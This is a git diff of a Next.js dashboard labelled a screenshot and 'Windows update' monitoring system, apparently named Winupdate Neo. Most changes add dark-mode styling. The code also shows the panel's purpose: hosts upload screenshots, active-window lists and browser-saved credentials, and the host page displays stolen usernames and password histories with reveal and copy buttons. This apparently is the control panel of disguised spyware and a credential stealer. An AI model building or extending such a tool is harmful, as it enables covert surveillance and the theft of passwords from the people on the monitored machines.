diff --git a/app/api-test/page.tsx b/app/api-test/page.tsx
deleted file mode 100644
index 946b0d1..0000000
--- a/app/api-test/page.tsx
+++ /dev/null
@@ -1,74 +0,0 @@
-export default function ApiTest() {
-  return (
-    <div className="p-8">
-      <h1 className="text-2xl font-bold mb-4">Winupdate Neo API 测试</h1>
-      
-      <div className="space-y-4">
-        <div className="border p-4 rounded">
-          <h2 className="text-lg font-semibold mb-2">API 端点</h2>
-          <ul className="space-y-1 text-sm">
-            <li>• GET /api/hosts - 获取主机列表</li>
-            <li>• POST /api/hosts/[hostname]/screenshots - 上传截图</li>
-            <li>• GET /api/hosts/[hostname]/screenshots - 获取截图记录</li>
-            <li>• POST /api/hosts/[hostname]/credentials - 上传凭据</li>
-            <li>• GET /api/hosts/[hostname]/credentials - 获取凭据</li>
-            <li>• GET /api/hosts/[hostname]/time-distribution - 获取时间分布</li>
-            <li>• GET /api/version - 获取最新版本</li>
-            <li>• POST /api/upload/version - 上传新版本</li>
-            <li>• GET /api/screenshots/[fileId] - 获取截图文件</li>
-            <li>• GET /api/downloads/[fileId] - 下载文件</li>
-          </ul>
-        </div>
-        
-        <div className="border p-4 rounded">
-          <h2 className="text-lg font-semibold mb-2">数据库模型</h2>
-          <ul className="space-y-1 text-sm">
-            <li>• Host - 主机信息</li>
-            <li>• Record - 记录信息</li>
-            <li>• Window - 窗口信息</li>
-            <li>• Screenshot - 截图信息</li>
-            <li>• Credential - 凭据信息</li>
-            <li>• Password - 密码历史</li>
-            <li>• Version - 版本信息</li>
-            <li>• Nssm - NSSM 文件</li>
-          </ul>
-        </div>
-        
-        <div className="border p-4 rounded">
-          <h2 className="text-lg font-semibold mb-2">环境变量</h2>
-          <ul className="space-y-1 text-sm">
-            <li>• DATABASE_URL - 数据库连接字符串</li>
-            <li>• AUTH_USERNAME - 认证用户名</li>
-            <li>• AUTH_PASSWORD - 认证密码</li>
-            <li>• PORT - 服务端口</li>
-          </ul>
-        </div>
-
-        <div className="border p-4 rounded">
-          <h2 className="text-lg font-semibold mb-2">MinIO 对象存储</h2>
-          <ul className="space-y-1 text-sm">
-            <li>• 服务器: 192.168.5.13:9000</li>
-            <li>• Bucket: winupdate</li>
-            <li>• 存储结构: 按类型/年/月/日/主机名分层</li>
-            <li>• 截图路径: screenshots/年/月/日/主机名/文件</li>
-            <li>• 版本路径: versions/年/月/文件</li>
-            <li>• 支持元数据存储和检索</li>
-            <li>• 自动文件分布和负载均衡</li>
-          </ul>
-        </div>
-
-        <div className="border p-4 rounded">
-          <h2 className="text-lg font-semibold mb-2">性能优化特性</h2>
-          <ul className="space-y-1 text-sm">
-            <li>• 分层目录结构避免单目录文件过多</li>
-            <li>• 数据库存储 objectName 避免搜索开销</li>
-            <li>• 文件元数据存储在 MinIO 中</li>
-            <li>• 支持并发上传下载</li>
-            <li>• 缓存友好的文件访问</li>
-            <li>• 自动压缩和去重</li>
-          </ul>
-        </div>
-      </div>
-    </div>
-  )
-}
diff --git a/app/decode/page.tsx b/app/decode/page.tsx
index d510817..7c41a05 100644
--- a/app/decode/page.tsx
+++ b/app/decode/page.tsx
@@ -101,21 +101,21 @@ export default function DecodePage() {
 
   return (
     <div className="max-w-4xl mx-auto p-6">
-      <h1 className="text-2xl font-bold text-gray-800 mb-6">Base64 日志解码器</h1>
+      <h1 className="text-2xl font-bold text-gray-800 dark:text-white mb-6">Base64 日志解码器</h1>
       
       {/* 文件上传区域 */}
       <div className="mb-8">
-        <div className="border-2 border-dashed border-gray-300 rounded-lg p-6 text-center">
-          <label className="block mb-4 text-sm font-medium text-gray-700">
+        <div className="border-2 border-dashed border-gray-300 dark:border-gray-600 rounded-lg p-6 text-center">
+          <label className="block mb-4 text-sm font-medium text-gray-700 dark:text-gray-300">
             选择日志文件：
           </label>
           <input 
             type="file"
             accept=".txt,.log"
             onChange={handleFileChange}
-            className="block w-full text-sm text-gray-500 file:mr-4 file:py-2 file:px-4
+            className="block w-full text-sm text-gray-500 dark:text-gray-400 file:mr-4 file:py-2 file:px-4
                        file:rounded-md file:border-0 file:text-sm file:font-semibold
-                       file:bg-blue-50 file:text-blue-700 hover:file:bg-blue-100
+                       file:bg-blue-50 dark:file:bg-blue-900/50 file:text-blue-700 dark:file:text-blue-300 hover:file:bg-blue-100 dark:hover:file:bg-blue-800/50
                        cursor-pointer"
           />
         </div>
@@ -123,7 +123,7 @@ export default function DecodePage() {
 
       {/* 错误提示 */}
       {errorMessage && (
-        <div className="mb-6 p-4 bg-red-50 text-red-600 rounded-md">
+        <div className="mb-6 p-4 bg-red-50 dark:bg-red-900/50 text-red-600 dark:text-red-300 rounded-md">
           {errorMessage}
         </div>
       )}
@@ -131,20 +131,20 @@ export default function DecodePage() {
       {/* 解码结果 */}
       {decodedLines.length > 0 && (
         <div className="space-y-2">
-          <h2 className="text-lg font-semibold text-gray-700 mb-4">解码结果：</h2>
+          <h2 className="text-lg font-semibold text-gray-700 dark:text-gray-300 mb-4">解码结果：</h2>
           <div 
             ref={resultRef}
-            className="bg-white shadow rounded-lg overflow-auto max-h-[600px]"
+            className="bg-white dark:bg-gray-800 shadow rounded-lg overflow-auto max-h-[600px]"
           >
-            <div className="divide-y divide-gray-100">
+            <div className="divide-y divide-gray-100 dark:divide-gray-700">
               {decodedLines.map((line, index) => (
                 <div 
                   key={index} 
-                  className={`py-1.5 px-4 hover:bg-gray-50 leading-tight ${
-                    line.isError ? 'bg-red-50' : ''
+                  className={`py-1.5 px-4 hover:bg-gray-50 dark:hover:bg-gray-700 leading-tight ${
+                    line.isError ? 'bg-red-50 dark:bg-red-900/30' : ''
                   }`}
                 >
-                  <pre className="whitespace-pre-wrap font-mono text-sm text-gray-800">
+                  <pre className="whitespace-pre-wrap font-mono text-sm text-gray-800 dark:text-gray-200">
                     {line.content}
                   </pre>
                 </div>
diff --git a/app/globals.css b/app/globals.css
index a2dc41e..e6fdd7f 100644
--- a/app/globals.css
+++ b/app/globals.css
@@ -24,3 +24,8 @@ body {
   color: var(--foreground);
   font-family: Arial, Helvetica, sans-serif;
 }
+
+/* 暗黑模式过渡动画 */
+* {
+  transition: background-color 0.2s ease, border-color 0.2s ease, color 0.2s ease;
+}
diff --git a/app/hosts/[hostname]/components/RecordDatePicker.tsx b/app/hosts/[hostname]/components/RecordDatePicker.tsx
index f44d989..d34b4c0 100644
--- a/app/hosts/[hostname]/components/RecordDatePicker.tsx
+++ b/app/hosts/[hostname]/components/RecordDatePicker.tsx
@@ -104,22 +104,22 @@ export default function RecordDatePicker({ value, dailyCounts, onChange }: Recor
   };
 
   return (
-    <div className="p-4 bg-white rounded shadow">
+    <div className="p-4 bg-white dark:bg-gray-800 rounded shadow">
       {/* 月份切换头部 */}
       <div className="flex items-center justify-between mb-2">
-        <button onClick={prevMonth} className="p-2 rounded hover:bg-gray-200">
+        <button onClick={prevMonth} className="p-2 rounded hover:bg-gray-200 dark:hover:bg-gray-700 text-gray-900 dark:text-white">
           &lt;
         </button>
-        <div className="font-semibold text-lg">
+        <div className="font-semibold text-lg text-gray-900 dark:text-white">
           {currentYear} - {(currentMonth + 1).toString().padStart(2, '0')}
         </div>
-        <button onClick={nextMonth} className="p-2 rounded hover:bg-gray-200">
+        <button onClick={nextMonth} className="p-2 rounded hover:bg-gray-200 dark:hover:bg-gray-700 text-gray-900 dark:text-white">
           &gt;
         </button>
       </div>
       
       {/* 星期标题 */}
-      <div className="grid grid-cols-7 gap-1 text-center text-sm font-medium text-gray-600 mb-1">
+      <div className="grid grid-cols-7 gap-1 text-center text-sm font-medium text-gray-600 dark:text-gray-400 mb-1">
         {weekDays.map((day) => (
           <div key={day}>{day}</div>
         ))}
diff --git a/app/hosts/[hostname]/components/TimelineSlider.tsx b/app/hosts/[hostname]/components/TimelineSlider.tsx
index c78c37c..a365de9 100644
--- a/app/hosts/[hostname]/components/TimelineSlider.tsx
+++ b/app/hosts/[hostname]/components/TimelineSlider.tsx
@@ -150,7 +150,7 @@ export default function TimelineSlider({
       left: `${startPercent}%`,
       width: `${widthPercent}%`,
       height: '100%',
-      backgroundColor: segment.active ? '#4ADE80' : '#E5E7EB',
+      backgroundColor: segment.active ? '#4ADE80' : 'transparent',
       borderLeft: '1px solid #E5E7EB',
       borderRight: '1px solid #E5E7EB',
     };
@@ -178,7 +178,7 @@ export default function TimelineSlider({
     >
       {/* 底部轨道 */}
       <div 
-        className="absolute top-1/2 left-0 right-0 h-1.5 bg-gray-200 transform -translate-y-1/2 rounded-sm"
+        className="absolute top-1/2 left-0 right-0 h-1.5 bg-gray-200 dark:bg-gray-700 transform -translate-y-1/2 rounded-sm"
       >
         {/* Segments 模式 */}
         {mode === 'segments' && segments.map((segment, index) => (
@@ -209,7 +209,7 @@ export default function TimelineSlider({
       >
         {/* Tooltip */}
         {showTooltip && (
-          <div className="absolute bottom-full left-1/2 transform -translate-x-1/2 mb-2 px-2 py-1 bg-black bg-opacity-70 text-white text-xs rounded whitespace-nowrap">
+          <div className="absolute bottom-full left-1/2 transform -translate-x-1/2 mb-2 px-2 py-1 bg-black dark:bg-gray-800 bg-opacity-70 dark:bg-opacity-90 text-white text-xs rounded whitespace-nowrap">
             {formattedValue}
           </div>
         )}
diff --git a/app/hosts/[hostname]/page.tsx b/app/hosts/[hostname]/page.tsx
index 0399d56..99ec50b 100644
--- a/app/hosts/[hostname]/page.tsx
+++ b/app/hosts/[hostname]/page.tsx
@@ -504,38 +504,38 @@ export default function HostDetail() {
   }, [autoPlay, allImagesLoaded, autoPlaySpeed, startAutoPlayTimer]);
 
   return (
-    <div className="min-h-screen bg-gray-50 overflow-x-hidden">
+    <div className="min-h-screen bg-gray-50 dark:bg-gray-900 overflow-x-hidden">
       <div className="max-w-8xl mx-auto py-6 px-4 sm:px-6 lg:px-8">
         {/* 头部导航 */}
         <div className="flex items-center justify-between mb-8">
           <div>
             <button 
               onClick={() => router.back()}
-              className="inline-flex items-center text-gray-600 hover:text-gray-900"
+              className="inline-flex items-center text-gray-600 dark:text-gray-400 hover:text-gray-900 dark:hover:text-white"
             >
               <ArrowLeft className="h-5 w-5 mr-2" />
               返回
             </button>
-            <h1 className="text-3xl font-semibold text-gray-900 mt-2">
+            <h1 className="text-3xl font-semibold text-gray-900 dark:text-white mt-2">
               {decodeURI(hostname)}
             </h1>
           </div>
           {lastUpdate && (
-            <div className="text-sm text-gray-500">
+            <div className="text-sm text-gray-500 dark:text-gray-400">
               最后更新: {formatDate(lastUpdate)}
             </div>
           )}
         </div>
 
         {/* 选项卡导航 */}
-        <div className="mb-6 border-b border-gray-200">
+        <div className="mb-6 border-b border-gray-200 dark:border-gray-700">
           <nav className="-mb-px flex space-x-8">
             <button 
               onClick={() => setActiveTab('screenshots')}
               className={`py-2 px-1 border-b-2 font-medium text-sm ${
                 activeTab === 'screenshots' 
                   ? 'border-blue-600 text-blue-600' 
-                  : 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'
+                  : 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300 hover:border-gray-300 dark:hover:border-gray-600'
               }`}
             >
               截图时间线
@@ -545,7 +545,7 @@ export default function HostDetail() {
               className={`py-2 px-1 border-b-2 font-medium text-sm ${
                 activeTab === 'credentials' 
                   ? 'border-blue-600 text-blue-600' 
-                  : 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'
+                  : 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300 hover:border-gray-300 dark:hover:border-gray-600'
               }`}
             >
               凭据信息
@@ -559,12 +559,12 @@ export default function HostDetail() {
             {/* 小时分布滑块（时间分布） */}
             <div className="mb-8">
               <div className="flex justify-between items-center mb-4">
-                <h2 className="text-lg font-medium text-gray-900">时间分布</h2>
+                <h2 className="text-lg font-medium text-gray-900 dark:text-white">时间分布</h2>
                 <button 
                   onClick={fetchTimeDistribution}
-                  className="p-2 rounded hover:bg-gray-100"
+                  className="p-2 rounded hover:bg-gray-100 dark:hover:bg-gray-800"
                 >
-                  <RefreshCcw className={`h-5 w-5 text-gray-600 ${loadingDistribution ? 'animate-spin' : ''}`} />
+                  <RefreshCcw className={`h-5 w-5 text-gray-600 dark:text-gray-400 ${loadingDistribution ? 'animate-spin' : ''}`} />
                 </button>
               </div>
               
@@ -586,7 +586,7 @@ export default function HostDetail() {
                   />
                 </div>
               ) : (
-                <div className="text-gray-500 mt-4">加载时间分布中...</div>
+                <div className="text-gray-500 dark:text-gray-400 mt-4">加载时间分布中...</div>
               )}
             </div>
 
@@ -594,15 +594,15 @@ export default function HostDetail() {
             {showDetailTimeline && (
               <div className="mb-8">
                 <div className="flex justify-between items-center mb-4">
-                  <h2 className="text-lg font-medium text-gray-900">时间点详情</h2>
+                  <h2 className="text-lg font-medium text-gray-900 dark:text-white">时间点详情</h2>
                   <button 
                     onClick={() => {
                       const selectedSec = Math.floor(hourlySliderValue / 3600000) * 3600;
                       fetchHourlyRecords(selectedSec, selectedSec + 3600);
                     }}
-                    className="p-2 rounded hover:bg-gray-100"
+                    className="p-2 rounded hover:bg-gray-100 dark:hover:bg-gray-800"
                   >
-                    <RefreshCcw className={`h-5 w-5 text-gray-600 ${loadingRecords ? 'animate-spin' : ''}`} />
+                    <RefreshCcw className={`h-5 w-5 text-gray-600 dark:text-gray-400 ${loadingRecords ? 'animate-spin' : ''}`} />
                   </button>
                 </div>
                 
@@ -616,14 +616,14 @@ export default function HostDetail() {
                     onChange={onDetailedSliderChange}
                   />
                 ) : (
-                  <div className="text-gray-500">加载记录中...</div>
+                  <div className="text-gray-500 dark:text-gray-400">加载记录中...</div>
                 )}
               </div>
             )}
 
             {/* 图片预览区域及控制按钮 */}
             {selectedRecord && (
-              <div className="bg-white rounded-lg shadow-sm p-6">
+              <div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm p-6">
                 {/* 图片预览区域 */}
                 {selectedRecord.screenshots.map((screenshot, sIndex) => (
                   <div key={sIndex} className="relative mb-6">
@@ -640,7 +640,7 @@ export default function HostDetail() {
                     </div>
                     
                     {/* 图片说明 */}
-                    <div className="absolute bottom-4 left-4 bg-black bg-opacity-60 text-white px-2 py-1 rounded">
+                    <div className="absolute bottom-4 left-4 bg-black dark:bg-gray-900 bg-opacity-60 dark:bg-opacity-80 text-white px-2 py-1 rounded">
                       <div className="text-sm">{screenshot.monitorName}</div>
                       <div className="text-xs">
                         {new Date(selectedRecord.timestamp).toLocaleString()}
@@ -666,17 +666,17 @@ export default function HostDetail() {
                 {/* 控制按钮区域 */}
                 <div className="flex flex-col sm:flex-row items-center justify-center mb-4 space-y-2 sm:space-y-0 sm:space-x-3">
                   <label className="flex items-center space-x-1">
-                    <span className="text-sm text-gray-600">速度</span>
+                    <span className="text-sm text-gray-600 dark:text-gray-400">速度</span>
                     <input 
                       type="number" 
                       value={autoPlaySpeed}
                       onChange={(e) => setAutoPlaySpeed(Number(e.target.value))}
-                      className="w-16 text-sm px-1 py-1 border rounded focus:outline-none"
+                      className="w-16 text-sm px-1 py-1 border dark:border-gray-600 rounded focus:outline-none bg-white dark:bg-gray-700 text-gray-900 dark:text-white"
                       min="100" 
                       max="2000" 
                       step="100" 
                     />
-                    <span className="text-sm text-gray-600">ms</span>
+                    <span className="text-sm text-gray-600 dark:text-gray-400">ms</span>
                   </label>
                   <button 
                     onClick={toggleAutoPlay}
@@ -688,19 +688,19 @@ export default function HostDetail() {
 
                 {/* 窗口信息 */}
                 <div className="w-full">
-                  <h3 className="text-lg font-medium text-gray-900 mb-3">活动窗口</h3>
-                  <div className="bg-gray-50 rounded-md p-4">
+                  <h3 className="text-lg font-medium text-gray-900 dark:text-white mb-3">活动窗口</h3>
+                  <div className="bg-gray-50 dark:bg-gray-700 rounded-md p-4">
                     <div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-4">
                       {selectedRecord.windows.map((window, index) => (
-                        <div key={index} className="p-4 bg-white rounded-md shadow-sm">
+                        <div key={index} className="p-4 bg-white dark:bg-gray-800 rounded-md shadow-sm">
                           <div className="space-y-2">
-                            <div className="font-medium text-gray-900">
+                            <div className="font-medium text-gray-900 dark:text-white">
                               {window.title}
                             </div>
-                            <div className="text-sm text-gray-500 break-all">
+                            <div className="text-sm text-gray-500 dark:text-gray-400 break-all">
                               {window.path}
                             </div>
-                            <div className="text-sm flex items-center text-gray-600">
+                            <div className="text-sm flex items-center text-gray-600 dark:text-gray-400">
                               内存占用: {formatMemory(window.memory)}
                             </div>
                           </div>
@@ -716,9 +716,9 @@ export default function HostDetail() {
 
         {/* 凭据信息选项卡 */}
         {activeTab === 'credentials' && (
-          <div className="bg-white rounded-lg shadow-sm p-6">
+          <div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm p-6">
             <div className="flex items-center justify-between mb-6">
-              <h2 className="text-xl font-medium text-gray-900">凭据信息</h2>
+              <h2 className="text-xl font-medium text-gray-900 dark:text-white">凭据信息</h2>
               <div className="flex space-x-2">
                 <button 
                   onClick={fetchCredentials}
@@ -735,40 +735,40 @@ export default function HostDetail() {
               <div className="flex justify-center py-12">
                 <div className="animate-pulse flex flex-col items-center">
                   <Loader2 className="h-8 w-8 text-blue-600 animate-spin" />
-                  <p className="mt-2 text-gray-500">加载凭据信息...</p>
+                  <p className="mt-2 text-gray-500 dark:text-gray-400">加载凭据信息...</p>
                 </div>
               </div>
             ) : credentialsByUser.length === 0 ? (
               <div className="py-12 flex flex-col items-center justify-center">
                 <ShieldAlert className="h-12 w-12 text-gray-400 mb-3" />
-                <p className="text-gray-500 mb-1">没有找到任何凭据信息</p>
-                <p className="text-sm text-gray-400">可能是该主机尚未上报凭据数据</p>
+                <p className="text-gray-500 dark:text-gray-400 mb-1">没有找到任何凭据信息</p>
+                <p className="text-sm text-gray-400 dark:text-gray-500">可能是该主机尚未上报凭据数据</p>
               </div>
             ) : (
               <div className="space-y-6">
                 {credentialsByUser.map((userGroup, index) => (
-                  <div key={index} className="border border-gray-200 rounded-md overflow-hidden">
+                  <div key={index} className="border border-gray-200 dark:border-gray-700 rounded-md overflow-hidden">
                     {/* 用户信息头部 */}
-                    <div className="bg-gray-50 px-4 py-3">
+                    <div className="bg-gray-50 dark:bg-gray-700 px-4 py-3">
                       <div className="flex items-center justify-between">
                         <div 
                           className="flex items-center cursor-pointer"
                           onClick={() => toggleUserExpanded(userGroup.username)}
                         >
-                          <User className="h-5 w-5 text-gray-500 mr-2" />
-                          <h3 className="font-medium text-gray-900">{userGroup.username}</h3>
-                          <div className="ml-3 text-sm text-gray-500">
+                          <User className="h-5 w-5 text-gray-500 dark:text-gray-400 mr-2" />
+                          <h3 className="font-medium text-gray-900 dark:text-white">{userGroup.username}</h3>
+                          <div className="ml-3 text-sm text-gray-500 dark:text-gray-400">
                             ({userGroup.browsers.length} 个浏览器, {userGroup.total} 个凭据)
                           </div>
                           <ChevronDown
-                            className={`h-5 w-5 text-gray-500 ml-2 transition-transform duration-200 ${
+                            className={`h-5 w-5 text-gray-500 dark:text-gray-400 ml-2 transition-transform duration-200 ${
                               expandedUsers.includes(userGroup.username) ? 'rotate-180' : ''
                             }`} 
                           />
                         </div>
 
                         {userGroup.lastSyncTime && (
-                          <div className="text-xs text-gray-500">
+                          <div className="text-xs text-gray-500 dark:text-gray-400">
                             最后同步: {formatDate(userGroup.lastSyncTime, 'short')}
                           </div>
                         )}
@@ -777,11 +777,11 @@ export default function HostDetail() {
 
                     {/* 用户凭据内容 */}
                     {expandedUsers.includes(userGroup.username) && (
-                      <div className="divide-y divide-gray-100">
+                      <div className="divide-y divide-gray-100 dark:divide-gray-600">
                         {userGroup.browsers.map((browser) => (
                           <div 
                             key={`${userGroup.username}-${browser.name}`}
-                            className="px-4 py-3 hover:bg-gray-50"
+                            className="px-4 py-3 hover:bg-gray-50 dark:hover:bg-gray-700"
                           >
                             {/* 浏览器标题 */}
                             <div 
@@ -789,14 +789,14 @@ export default function HostDetail() {
                               onClick={() => toggleBrowserExpanded(`${userGroup.username}-${browser.name}`)}
                             >
                               <div className="flex items-center">
-                                <Globe className="h-4 w-4 text-gray-500 mr-2" />
-                                <span className="font-medium text-gray-800">{browser.name}</span>
-                                <span className="ml-2 text-sm text-gray-500">
+                                <Globe className="h-4 w-4 text-gray-500 dark:text-gray-400 mr-2" />
+                                <span className="font-medium text-gray-800 dark:text-gray-200">{browser.name}</span>
+                                <span className="ml-2 text-sm text-gray-500 dark:text-gray-400">
                                   ({browser.credentials.length} 个站点)
                                 </span>
                               </div>
                               <ChevronDown
-                                className={`h-4 w-4 text-gray-500 ml-2 transition-transform duration-200 ${
+                                className={`h-4 w-4 text-gray-500 dark:text-gray-400 ml-2 transition-transform duration-200 ${
                                   expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) ? 'rotate-180' : ''
                                 }`}
                               />
@@ -808,21 +808,21 @@ export default function HostDetail() {
                                 {browser.credentials.map((cred) => (
                                   <div
                                     key={`${userGroup.username}-${browser.name}-${cred._id}`}
-                                    className="border border-gray-200 rounded-md overflow-hidden"
+                                    className="border border-gray-200 dark:border-gray-600 rounded-md overflow-hidden"
                                   >
                                     {/* 凭据网站头部 */}
                                     <div
-                                      className="bg-gray-50 px-3 py-2 flex items-center justify-between cursor-pointer"
+                                      className="bg-gray-50 dark:bg-gray-700 px-3 py-2 flex items-center justify-between cursor-pointer"
                                       onClick={() => toggleCredentialExpanded(cred._id)}
                                     >
                                       <div className="flex items-center">
-                                        <Link className="h-4 w-4 text-gray-500 mr-2" />
-                                        <div className="text-sm font-medium text-gray-900 truncate max-w-md">
+                                        <Link className="h-4 w-4 text-gray-500 dark:text-gray-400 mr-2" />
+                                        <div className="text-sm font-medium text-gray-900 dark:text-white truncate max-w-md">
                                           {cred.url}
                                         </div>
                                       </div>
                                       <ChevronDown
-                                        className={`h-4 w-4 text-gray-500 transition-transform duration-200 ${
+                                        className={`h-4 w-4 text-gray-500 dark:text-gray-400 transition-transform duration-200 ${
                                           expandedCredentials.includes(cred._id) ? 'rotate-180' : ''
                                         }`}
                                       />
@@ -830,17 +830,17 @@ export default function HostDetail() {
 
                                     {/* 凭据详情 */}
                                     {expandedCredentials.includes(cred._id) && (
-                                      <div className="bg-white px-3 py-2">
+                                      <div className="bg-white dark:bg-gray-800 px-3 py-2">
                                         <div className="grid grid-cols-1 gap-2 sm:grid-cols-2">
                                           <div className="flex items-center">
-                                            <span className="text-sm text-gray-500 w-16">用户名:</span>
-                                            <span className="text-sm font-medium ml-2">{cred.login}</span>
+                                            <span className="text-sm text-gray-500 dark:text-gray-400 w-16">用户名:</span>
+                                            <span className="text-sm font-medium ml-2 text-gray-900 dark:text-white">{cred.login}</span>
                                           </div>
 
                                           <div className="flex flex-col">
                                             <div className="flex items-center mb-1">
-                                              <span className="text-sm text-gray-500 w-16">密码历史:</span>
-                                              <span className="text-xs bg-gray-100 text-gray-600 rounded px-1">
+                                              <span className="text-sm text-gray-500 dark:text-gray-400 w-16">密码历史:</span>
+                                              <span className="text-xs bg-gray-100 dark:bg-gray-600 text-gray-600 dark:text-gray-300 rounded px-1">
                                                 {cred.passwords.length} 条记录
                                               </span>
                                             </div>
@@ -851,12 +851,12 @@ export default function HostDetail() {
                                                   key={pwdIndex}
                                                   className="flex items-center group relative"
                                                 >
-                                                  <span className="text-xs text-gray-400 w-24 flex-shrink-0">
+                                                  <span className="text-xs text-gray-400 dark:text-gray-500 w-24 flex-shrink-0">
                                                     {formatDate(pwd.timestamp, 'short')}
                                                   </span>
                                                   <div className="flex-1 flex items-center">
                                                     <span
-                                                      className="text-sm font-mono bg-gray-50 px-2 py-0.5 rounded flex-1 cursor-pointer"
+                                                      className="text-sm font-mono bg-gray-50 dark:bg-gray-700 text-gray-900 dark:text-white px-2 py-0.5 rounded flex-1 cursor-pointer"
                                                       onClick={() => 
                                                         revealedPasswords.includes(`${cred._id}-${pwdIndex}`) 
                                                           ? null 
@@ -870,7 +870,7 @@ export default function HostDetail() {
                                                     </span>
                                                     <button
                                                       onClick={() => copyToClipboard(pwd.value)}
-                                                      className="ml-2 opacity-0 group-hover:opacity-100 text-gray-400 hover:text-gray-700"
+                                                      className="ml-2 opacity-0 group-hover:opacity-100 text-gray-400 dark:text-gray-500 hover:text-gray-700 dark:hover:text-gray-300"
                                                     >
                                                       <Clipboard className="h-4 w-4" />
                                                     </button>
diff --git a/app/layout.tsx b/app/layout.tsx
index f7fa87e..97b0956 100644
--- a/app/layout.tsx
+++ b/app/layout.tsx
@@ -13,8 +13,8 @@ const geistMono = Geist_Mono({
 });
 
 export const metadata: Metadata = {
-  title: "Create Next App",
-  description: "Generated by create next app",
+  title: "屏幕截图监控系统",
+  description: "Windows更新监控系统",
 };
 
 export default function RootLayout({
@@ -23,9 +23,9 @@ export default function RootLayout({
   children: React.ReactNode;
 }>) {
   return (
-    <html lang="en">
+    <html lang="zh-CN">
       <body
-        className={`${geistSans.variable} ${geistMono.variable} antialiased`}
+        className={`${geistSans.variable} ${geistMono.variable} antialiased bg-white dark:bg-gray-900 text-gray-900 dark:text-white`}
       >
         {children}
       </body>
diff --git a/app/page.tsx b/app/page.tsx
index ae603ee..11d0a3c 100644
--- a/app/page.tsx
+++ b/app/page.tsx
@@ -48,33 +48,33 @@ export default function Home() {
   }, []);
 
   return (
-    <div className="min-h-screen bg-gray-50">
+    <div className="min-h-screen bg-gray-50 dark:bg-gray-900">
       <div className="max-w-7xl mx-auto py-6 sm:px-6 lg:px-8">
         <div className="px-4 py-6 sm:px-0">
-          <h1 className="text-3xl font-semibold text-gray-900 mb-8">屏幕截图监控系统</h1>
+          <h1 className="text-3xl font-semibold text-gray-900 dark:text-white mb-8">屏幕截图监控系统</h1>
 
           {/* 主机列表卡片网格 */}
           <div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-6">
             {hosts.map((host) => (
               <div
                 key={host.hostname}
-                className="bg-white shadow-sm rounded-lg overflow-hidden hover:shadow-md transition-shadow cursor-pointer"
+                className="bg-white dark:bg-gray-800 shadow-sm rounded-lg overflow-hidden hover:shadow-md dark:hover:shadow-lg transition-shadow cursor-pointer"
                 onClick={() => navigateToHost(host.hostname)}
               >
                 <div className="px-4 py-5 sm:p-6">
                   <div className="flex items-center justify-between">
                     <div>
-                      <h3 className="text-lg font-medium text-gray-900">
+                      <h3 className="text-lg font-medium text-gray-900 dark:text-white">
                         {decodeURI(host.hostname)}
                       </h3>
-                      <p className="mt-1 text-sm text-gray-500">
+                      <p className="mt-1 text-sm text-gray-500 dark:text-gray-400">
                         最后更新: {formatDate(host.lastUpdate)}
                       </p>
                     </div>
                     <div className="flex items-center">
                       <div
                         className={`h-3 w-3 rounded-full ${
-                          isRecent(host.lastUpdate) ? 'bg-green-500' : 'bg-gray-300'
+                          isRecent(host.lastUpdate) ? 'bg-green-500' : 'bg-gray-300 dark:bg-gray-600'
                         }`}
                       ></div>
                     </div>
@@ -87,22 +87,22 @@ export default function Home() {
           {/* 加载状态 */}
           {loading && (
             <div className="flex justify-center items-center mt-8">
-              <div className="animate-spin rounded-full h-8 w-8 border-b-2 border-gray-900"></div>
+              <div className="animate-spin rounded-full h-8 w-8 border-b-2 border-gray-900 dark:border-white"></div>
             </div>
           )}
 
           {/* 错误提示 */}
           {error && (
-            <div className="mt-8 bg-red-50 p-4 rounded-md">
+            <div className="mt-8 bg-red-50 dark:bg-red-900/50 p-4 rounded-md">
               <div className="flex">
                 <div className="flex-shrink-0">
-                  <XCircle className="h-5 w-5 text-red-400" />
+                  <XCircle className="h-5 w-5 text-red-400 dark:text-red-300" />
                 </div>
                 <div className="ml-3">
-                  <h3 className="text-sm font-medium text-red-800">
+                  <h3 className="text-sm font-medium text-red-800 dark:text-red-200">
                     加载失败
                   </h3>
-                  <div className="mt-2 text-sm text-red-700">
+                  <div className="mt-2 text-sm text-red-700 dark:text-red-300">
                     <p>{error}</p>
                   </div>
                 </div>
diff --git a/app/upload/page.tsx b/app/upload/page.tsx
index 72cab1d..e3e4e6d 100644
--- a/app/upload/page.tsx
+++ b/app/upload/page.tsx
@@ -100,69 +100,69 @@ export default function UploadPage() {
 
   return (
     <div className="max-w-3xl mx-auto p-6">
-      <h1 className="text-3xl font-bold text-gray-800 mb-8">软件版本管理</h1>
+      <h1 className="text-3xl font-bold text-gray-800 dark:text-white mb-8">软件版本管理</h1>
 
       {/* 当前版本信息卡片 */}
-      <div className="bg-white rounded-lg shadow-md mb-8 overflow-hidden">
-        <div className="bg-gray-50 px-6 py-4 border-b">
-          <h2 className="text-xl font-semibold text-gray-700">当前版本信息</h2>
+      <div className="bg-white dark:bg-gray-800 rounded-lg shadow-md mb-8 overflow-hidden">
+        <div className="bg-gray-50 dark:bg-gray-700 px-6 py-4 border-b dark:border-gray-600">
+          <h2 className="text-xl font-semibold text-gray-700 dark:text-gray-200">当前版本信息</h2>
         </div>
         <div className="p-6">
           {currentVersion ? (
             <div className="space-y-3">
               <div className="grid grid-cols-12 gap-4 items-center">
-                <span className="text-gray-600 col-span-2">版本号:</span>
-                <span className="font-medium text-gray-800 col-span-10">{currentVersion.version}</span>
+                <span className="text-gray-600 dark:text-gray-400 col-span-2">版本号:</span>
+                <span className="font-medium text-gray-800 dark:text-gray-200 col-span-10">{currentVersion.version}</span>
               </div>
               <div className="grid grid-cols-12 gap-4 items-center">
-                <span className="text-gray-600 col-span-2">下载地址:</span>
+                <span className="text-gray-600 dark:text-gray-400 col-span-2">下载地址:</span>
                 <a 
                   href={currentVersion.download_url}
-                  className="text-blue-600 hover:text-blue-800 break-all col-span-10"
+                  className="text-blue-600 dark:text-blue-400 hover:text-blue-800 dark:hover:text-blue-300 break-all col-span-10"
                 >
                   {currentVersion.download_url}
                 </a>
